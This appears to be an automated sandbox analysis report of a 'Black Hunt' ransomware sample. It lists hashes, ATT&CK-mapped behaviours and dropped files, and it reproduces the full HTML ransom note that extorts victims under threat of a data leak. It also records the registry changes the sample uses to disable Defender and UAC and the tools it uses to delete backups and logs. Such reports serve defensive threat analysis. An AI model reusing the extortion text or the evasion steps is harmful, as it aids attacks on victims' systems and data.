911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf

Analysis

max time kernel
243s
max time network
295s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 00:09

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General

Target

911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
Size

707KB
MD5

2fb764808fc5cc0aa920d07a5a77a6fc
SHA1

679c4271f0d0a23830fc6796b46a0b24e46dce5a
SHA256

911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf
SHA512

807fcd350a781eded888eeca2de300b816c6bfcd4bc3051578d97be582579ec1e58504b8da0930e27794d431fb98a5761ff73528935da60586b69ac36352eb41
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza188qvnh:6uaTmkZJ+naie5OTamgEoKxLWPkh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> JSrHQc7hIV89y5Mr </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2340	fsutil.exe
1860	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2012	wevtutil.exe
2412	wevtutil.exe
1944	wevtutil.exe
1000	wevtutil.exe
2184	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2300	bcdedit.exe
2656	bcdedit.exe
2016	bcdedit.exe
1868	bcdedit.exe

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2464	wbadmin.exe
2744	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\M:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Y:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\L:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\X:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\B:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\Q:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\R:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\U:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\H:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\N:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\E:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\Z:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\P:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\O:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\T:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\I:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\A:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\K:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\V:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File opened (read-only)	\??\S:	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3308111660-3636268597-2291490419-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe

Drops file in Program Files directory 39 IoCs

description	ioc	Process
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\it-IT\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\en-US\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\es-ES\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\fr-FR\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\#BlackHunt_ReadMe.txt	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	911242dce58ca9583045fd61e4a49fff8e42c5ca0718d04f8441bf153b96eedf.exe
